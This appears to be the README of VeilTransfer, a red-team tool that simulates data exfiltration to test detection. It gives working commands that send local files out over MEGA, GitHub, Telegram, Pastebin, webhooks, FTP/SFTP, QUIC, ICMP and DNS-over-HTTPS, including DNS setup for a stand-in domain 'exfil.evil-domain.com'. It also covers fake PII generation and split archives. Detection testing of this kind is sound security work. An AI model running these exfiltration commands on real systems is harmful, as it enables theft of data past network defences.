VeilTransfer is a data exfiltration utility designed to test and enhance detection capabilities. This tool simulates real-world data exfiltration techniques used by advanced threat actors, allowing organizations to evaluate and improve their security posture. By leveraging multiple exfiltration methods such as MEGA, GitHub, SFTP, WebDAV, and more, VeilTransfer helps identify gaps in your defenses and ensures your security solutions are prepared to counter modern data breaches.
- MEGA
- GitHub
- Dropbox
- Telegram
- Pastebin
- WebDAV
- Webhook
- SFTP
- FTP
- DoH (DNS over HTTPS)
- QUIC
- ICMP
| ID | Techniques |
|---|---|
| T1029 | Scheduled Transfer |
| T1020 | Automated Exfiltration |
| T1132.001 | Data Encoding: Standard Encoding |
| T1560.002 | Archive Collected Data: Archive via Library |
| T1567.001 | Exfiltration Over Web Service: Exfiltration to Code Repository |
| T1567.002 | Exfiltration Over Web Service: Exfiltration to Cloud Storage |
| T1567.003 | Exfiltration Over Web Service: Exfiltration to Text Storage |
| T1567.004 | Exfiltration Over Web Service: Exfiltration Over Webhook |
| T1048.003 | Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol |
| T1048.002 | Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol |
VeilTransfer also supports generating fake data, including:
- Indonesia Identity Card (KTP) Numbers: Generate realistic KTP numbers and associated data.
- Credit Card Information: Create fake credit card details in PCI DSS format, including First Name, Last Name, CCN (Visa/MasterCard/AMEX), and Expiration Date.
- Social Security Numbers (SSN): Generate fake SSNs for use in simulations and testing environments.
- Medical Records: Generate fake medical record data in Indonesian (id) or English (en).
Easily create zip files for bundling and compressing data, which can then be used for exfiltration or testing different scenarios. Supports optional splitting into multiple files based on size.
- Red Team Operations: Deploy VeilTransfer during red team exercises to challenge blue teams with sophisticated and realistic exfiltration scenarios.
- Purple Teaming: Collaborate with your defensive teams to simulate and then detect exfiltration attempts, refining both offensive and defensive tactics.
- Security Testing: Use VeilTransfer to validate the effectiveness of DLP, NDR, firewall, and other network security measures.
This example demonstrates how to securely transfer a file to a remote server using the SFTP protocol. The file is located on the local machine, and it's transferred to the specified remote directory using SSH authentication.
veiltransfer_client transfer sftp -localPath (/path/to/file or /path/to/directory) -remoteDir /remote/path -server example.com:22 -username user -password passIn this example, files from a local directory are uploaded to a WebDAV server. The server requires a username and password for authentication. The server parameter includes the URI scheme (https:// or http://).
veiltransfer_client transfer webdav -localPath (/path/to/file or /path/to/directory) -remoteDir /remote/path -server http://webdav.example.com:8080 -username user -password passThis example shows how to transfer files to Mega Cloud storage. The files are uploaded from a specified local directory, and the authentication is handled using the user's Mega Cloud credentials.
veiltransfer_client transfer mega -localPath (/path/to/file or /path/to/directory) -username megauser@example.com -password megasecretpasswordThis example, a file is uploaded to an FTP server. The file is transferred to a specific directory on the remote server. The server requires a username and password for authentication.
veiltransfer_client transfer ftp -localPath (/path/to/file or /path/to/directory) -remoteDir /remote/path -server ftp.example.com:21 -username ftpuser -password ftppasswordThis example demonstrates how to upload the contents of a file to Pastebin. The content is posted to Pastebin using an API key provided by the user.
veiltransfer_client transfer pastebin -localPath (/path/to/file or /path/to/directory) -apiKey your_pastebin_api_keyThis example shows how to push a file from the local machine to a specific GitHub repository. The file is added to the repository using the user's GitHub API token for authentication.
veiltransfer_client transfer github -localPath (/path/to/file or /path/to/directory) -repo yourusername/repository -apiKey your_github_api_tokenThis example demonstrates how to send a file to a specific Telegram channel. The file is sent using a Telegram bot API token, and the message is delivered to the specified channel ID.
veiltransfer_client transfer telegram -localPath (/path/to/file or /path/to/directory) -telegramAPI your_telegram_bot_api_token -channelID 123456789In this example, the contents of a file are sent to a specified Webhook URL.
veiltransfer_client transfer webhook -localPath (/path/to/file or /path/to/directory) -webhookURL https://webhook.site/your-webhook-urlTo establish a secure data exfiltration mechanism utilizing DNS over HTTPS (DoH), the following DNS records must be configured:
-
A Record: Point test to the IP address <VeilTransfer_IP_Address>.
test -> <VeilTransfer_IP_Address>
-
NS Record: Define a subdomain (exfil) that is managed by evil-domain.com.
exfil -> test.evil-domain.com
The domain exfil.evil-domain.com will serve as the DNS Exfil domain.
Then, start the VeilTransfer Server in DoH mode with the following command:
veiltransfer_server doh -key ag36rjsg284nfk2g -folder /root/data/exfilNote: The encryption key (-key) must be 16 or 32 characters long.
To upload files via DoH, ensure that the VeilTransfer Server is actively running in DoH mode with a valid encryption key. Then, initiate the transfer using the client command:
veiltransfer_client transfer doh -localPath /path/to/file_or_directory -key ag36rjsg284nfk2g -dnsServer exfil.evil-domain.comTo start the VeilTransfer server in QUIC mode, use the following command:
veiltransfer_server quic -cert /path/server.crt -key /path/server.keyOnce the server is running, you can upload files or directories using:
veiltransfer_client transfer quic -localPath (/path/to/file or /path/to/directory) -server example.com:443To enable file transfers via the ICMP protocol, start the VeilTransfer Server in ICMP mode by executing the following command:
veiltransfer_server_linux icmp -folder /path/folderOnce the server is active, execute the following command to transfer files or directories via ICMP:
veiltransfer_client_linux transfer icmp -localPath (/path/to/file or /path/to/directory) -server <ip address>Creates a zip archive from a specified directory.
veiltransfer_client create-zip -localPath /path/to/directory -outputPath /path/to/output.zipCreates a zip archive split into multiple parts based on the specified size.
veiltransfer_client create-zip -localPath /path/to/directory -outputPath /path/to/output.zip -splitSize 1000000This example shows how to generate 100 entries of fake credit card data. The generated data will include credit card numbers, expiration dates, and associated details.
veiltransfer_client generate-fake -ccn -count 100This example demonstrates how to generate 50 entries of fake KTP data, which are Indonesian identity cards. The data includes personal information such as name, address, and KTP number.
veiltransfer_client generate-fake -ktp -count 50The generated data includes Social Security Numbers formatted according to U.S. standards.
veiltransfer_client generate-fake -ssn -count 200This example demonstrates how to generate 300 fake medical records in English.
veiltransfer_client generate-fake -medical-record -count 300 -language enContributions to VeilTransfer are welcome! If you have ideas for new features, exfiltration methods, or improvements, please submit a pull request or open an issue on GitHub.